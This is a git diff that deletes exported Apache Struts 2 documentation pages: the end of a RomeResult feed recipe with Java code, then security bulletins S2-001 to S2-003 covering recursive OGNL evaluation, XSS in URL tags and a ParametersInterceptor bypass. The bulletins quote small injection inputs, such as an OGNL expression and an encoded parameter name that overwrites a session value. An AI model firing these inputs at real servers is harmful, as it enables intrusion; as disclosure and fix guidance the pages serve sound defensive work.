-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">RomeResult</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14266">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14266">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14266">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14266">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14266">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14266">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><p class="title">Now available as a Struts 2 plugin</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The RomeResult is now available as a Struts 2 plugin over at <a shape="rect" class="external-link" href="http://code.google.com/p/s2-rome" rel="nofollow">http://code.google.com/p/s2-rome</a>.</p></div></div>
-
-<p>A couple of days ago I quickly had to create a result type that would transform a Rome (<a shape="rect" class="external-link" href="https://rome.dev.java.net/" rel="nofollow">https://rome.dev.java.net/</a>) SyndFeed to several news feeds. The framework makes this very, very easy.</p>
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">Used versions</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>WebWork 2.2 beta 4<br clear="none">
-Rome 0.7 beta</p></div></div>
-
-<h2 id="RomeResult-Thecode">The code</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>com.acme.result.RomeResult.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-/**
- *
- */
-package com.acme.result;
-
-import java.io.Writer;
-
-import org.apache.log4j.Logger;
-
-import org.apache..ServletActionContext;
-import com.opensymphony.xwork.ActionInvocation;
-import com.opensymphony.xwork.Result;
-import com.sun.syndication.feed.synd.SyndFeed;
-import com.sun.syndication.io.SyndFeedOutput;
-
-/**
- * A simple Result to output a Rome SyndFeed object into a newsfeed.
- * @author Philip Luppens
- *
- */
-public class RomeResult implements Result {
-
-	private String feedName;
-
-	private String feedType;
-
-	private final static Logger logger = Logger.getLogger(RomeResult.class);
-
-	/*
-	 * (non-Javadoc)
-	 *
-	 * @see com.opensymphony.xwork.Result#execute(com.opensymphony.xwork.ActionInvocation)
-	 */
-	public void execute(ActionInvocation ai) throws Exception {
-		if (feedName == null) {
-			// ack, we need this to find the feed on the stack
-			logger
-					.error("Required parameter 'feedName' not found. "
-							+ "Make sure you have the param tag set and "
-							+ "the static-parameters interceptor enabled in your interceptor stack.");
-			// no point in continuing ..
-			return;
-		}
-
-		// don't forget to set the content to the correct mimetype
-		ServletActionContext.getResponse().setContentType("text/xml");
-		// get the feed from the stack that can be found by the feedName
-		SyndFeed feed = (SyndFeed) ai.getStack().findValue(feedName);
-
-		if (logger.isDebugEnabled()) {
-			logger.debug("Found object on stack with name '" + feedName + "': "
-					+ feed);
-		}
-		if (feed != null) {
-
-			if (feedType != null) {
-				// Accepted types are: rss_0.90 - rss_2.0 and atom_0.3
-				// There is a bug though in the rss 2.0 generator when it checks
-				// for the type attribute in the description element. It's has a
-				// big 'FIXME' next to it (v. 0.7beta).
-				feed.setFeedType(feedType);
-			}
-			SyndFeedOutput output = new SyndFeedOutput();
-			//we'll need the writer since Rome doesn't support writing to an outputStream yet
-			Writer out = null;
-			try {
-				out = ServletActionContext.getResponse().getWriter();
-				output.output(feed, out);
-			} catch (Exception e) {
-				// Woops, couldn't write the feed ?
-				logger.error("Could not write the feed", e);
-			} finally {
-				//close the output writer (will flush automatically)
-				if (out != null) {
-					out.close();
-				}
-			}
-
-		} else {
-			// woops .. no object found on the stack with that name ?
-			logger.error("Did not find object on stack with name '" + feedName
-					+ "'");
-		}
-	}
-
-	public void setFeedName(String feedName) {
-		this.feedName = feedName;
-	}
-
-	public void setFeedType(String feedType) {
-		this.feedType = feedType;
-	}
-
-}
-</pre>
-</div></div>
-
-<h2 id="RomeResult-CodeExplanation">Code Explanation</h2>
-
-<p>Easy enough. We try to find the SyndFeed object on the WW stack. If we can find it, we will set the feed type (rss v0.9 +, atom 0.3) if it has been specified in the result parameters (see below). Then we use a SyndFeedOutput to write our newsfeed to our PrintWriter from our response.</p>
-
-<h2 id="RomeResult-ActionConfiguration">Action Configuration</h2>
-
-<p>Before you can use this result, you will need to register it in your <code>struts.xml</code>:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;package name="default" extends="struts-default"&gt;
-	&lt;result-types&gt;
-		&lt;result-type name="feed" class="com.acme.result.RomeResult"/&gt;
-	&lt;/result-types&gt;
-	&lt;interceptors&gt;
-..
-</pre>
-</div></div>
-<p>You can now use this result type. So, create an Action that will create and populate the Rome SyndFeed, and make sure you provide a getter for your populated SyndFeed. The actual creation of your feed is beyond this recipe, but you can find plenty of examples in the Rome Wiki (<a shape="rect" class="external-link" href="http://wiki.java.net/bin/view/Javawsxml/Rome05Tutorials" rel="nofollow">http://wiki.java.net/bin/view/Javawsxml/Rome05Tutorials</a>).</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="feed" class="com.acme.action.CreateFeedAction"&gt;
-	&lt;result name="success" type="feed"&gt;
-		&lt;param name="feedName"&gt;feed&lt;/param&gt;
-		&lt;param name="feedType"&gt;rss_1.0&lt;/param&gt;
-	&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<h2 id="RomeResult-Summary">Summary </h2>
-
-<p>This is a simple feed result using Rome as a news feed generator. You might want to make sure you don't generate your feed on every request, but there are lots of ways to deal with such problems. You can also provi<br clear="none">
-de additional setters in the Result to set your feed title, url, etc, but this should suffice for a quickstart.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-001.html b/content/docs/s2-001.html
deleted file mode 100644
index bb95796..0000000
--- a/content/docs/s2-001.html
+++ /dev/null
@@ -1,179 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-001</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-001.html">S2-001</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-001</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=61776">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=61776">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61776">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=61776">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-001-Summary">Summary</h2>
-
-<p>
-</p><p>Remote code exploit on form validation error</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Remote code execution</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Maximum security rating</ [...]
-
-
-<h2 id="S2-001-Problem">Problem</h2>
-
-<p>The 'altSyntax' feature of WebWork 2.1+ and Struts 2 allows OGNL expressions to be inserted into text strings and is processed recursively.  This allows a malicious user to submit a string, usually through an HTML text field, containing an OGNL expression that will then be executed by the server if the form validation has failed.  For example, say we had this form that required the 'phoneNumber' field to not be blank:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:form action="editUser"&gt;
-  &lt;s:textfield name="name" /&gt;
-  &lt;s:textfield name="phoneNumber" /&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-
-<p>The user could leave the 'phoneNumber' field blank to trigger the validation error, then populate the 'name' field with %{1+1}.  When the form is re-displayed to the user, the value of the 'name' field will be '2'.  The reason is the value field is, by default, processed as %{name}, and since OGNL expressions are evaluated recursively, it is evaluated as if the expression was %{%{1+1}}.</p>
-
-<p>The OGNL parsing code is actually in XWork and not in WebWork 2 or Struts 2.</p>
-
-<h2 id="S2-001-Solution">Solution</h2>
-
-<p>As of XWork 2.0.4, the OGNL parsing is changed so that it is not recursive.  Therefore, in the example above, the result will be the expected %{1+1}.  You can either obtain the <a shape="rect" class="external-link" href="http://www.opensymphony.com/webwork/download.action" rel="nofollow">WebWork 2.0.4</a> or <a shape="rect" class="external-link" href="http://people.apache.org/builds/struts/2.0.9/">Struts 2.0.9</a>, which contains the corrected XWork library.  Alternatively, you can ob [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-002.html b/content/docs/s2-002.html
deleted file mode 100644
index 4fcd606..0000000
--- a/content/docs/s2-002.html
+++ /dev/null
@@ -1,158 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-002</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-002.html">S2-002</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-002</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=78426">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=78426">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=78426">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=78426">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=78426">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=78426">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-002-Summary">Summary</h2>
-
-<p>
-</p><p>Cross site scripting (XSS) vulnerability on &lt;s:url&gt; and &lt;s:a&gt; tags</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Injection of malicious client side code</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Maximum [...]
-
-
-<h2 id="S2-002-Problem">Problem</h2>
-
-<p>For both the &lt;s:url&gt; and the &lt;s:a&gt; tag, it is possible to inject parameter values that do not get escaped properly when the tag's resulting URLs are constructed and rendered. The following scenarios are known:</p>
-<ul><li>A parameter value included in the construction of a &lt;s:a&gt; result can inject an unescaped double quote, thus being able to inject code in the resulting HTML by escaping the rendered <code>href</code> attribute.</li><li>Both the &lt;s:url&gt; and the &lt;s:a&gt; tag fail to escape &lt;script&gt; tags when <code>includeParams</code> is set to any other value than "none", which can be exploited by calling the containing JSP/action with GET parameters such as <code><a shape="rec [...]
-
-
-<h2 id="S2-002-Solution">Solution</h2>
-
-<p>As of Struts 2.0.11.1</p>
-<ul><li>Double quotes do get escaped for parameter values used to constuct the output of a &lt;s:a&gt; tag</li><li>&lt;script&gt; tokens do get recursively escaped for parameter values used to contruct the output of &lt;s:a&gt; and &lt;s:url&gt; tags</li></ul>
-
-
-<p>You can obtain <a shape="rect" class="external-link" href="http://people.apache.org/builds/struts/2.0.11.1/">Struts 2.0.11.1</a> as a drop in replacement for Struts 2.0.11 to get the fixed Struts 2 core library.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-003.html b/content/docs/s2-003.html
deleted file mode 100644
index a46993b..0000000
--- a/content/docs/s2-003.html
+++ /dev/null
@@ -1,164 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-003</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-003.html">S2-003</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-003</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=88882">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=88882">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=88882">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=88882">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=88882">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=88882">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-003-Summary">Summary</h2>
-
-<p>
-</p><p>XWork ParameterInterceptors bypass allows OGNL statement execution</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Remote server context manipulation</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Maximum secu [...]
-
-
-<h2 id="S2-003-Problem">Problem</h2>
-
-<p>OGNL provides, among other features, extensive expression evaluation capabilities (<a shape="rect" class="external-link" href="http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html" rel="nofollow">http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html</a>). The vulnerability allows a malicious user to bypass the '#'-usage protection built into the ParametersInterceptor, thus being able to manipulate server side context objec [...]
-
-<p>So, for instance, to set #session.user to '0wn3d' the following parameter name can be used:</p>
-
-<p>('\u0023' + 'session<a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=%5C%27user%5C%27&amp;linkCreation=true&amp;fromPageId=88882">\'user\'</a>')(unused)=0wn3d</p>
-
-<p>which will look as follows once URL encoded:</p>
-
-<p>('\u0023'%20%2b%20'session<a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=%5C%27user%5C%27&amp;linkCreation=true&amp;fromPageId=88882">\'user\'</a>')(unused)=0wn3d </p>
-
-<h2 id="S2-003-Solution">Solution</h2>
-
-<p>As of XWork 2.0.5, being part of the Struts 2.0.11.2 release, the ParameterInterceptor was changed to provide a whitelist mechanism for acceptable, non malicious parameter names. Therefore, in the example above, the given parameter will be ignored. Nevertheless there are still cases where the whitelist mechanism does not prevent the context from being manipulated, thus XWork 2.0.5 and Struts 2.0.11.2 <strong>do not fix</strong> the issue satisfactorily.</p>
-
